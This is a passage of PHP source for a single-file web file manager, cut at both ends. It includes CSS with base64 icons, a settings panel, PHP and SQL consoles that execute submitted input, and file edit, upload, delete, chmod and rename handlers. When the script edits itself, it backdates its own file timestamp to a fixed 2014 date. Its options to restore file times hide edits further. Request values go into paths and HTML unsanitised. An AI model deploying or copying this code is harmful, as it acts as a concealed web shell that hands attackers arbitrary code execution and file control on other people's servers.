    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
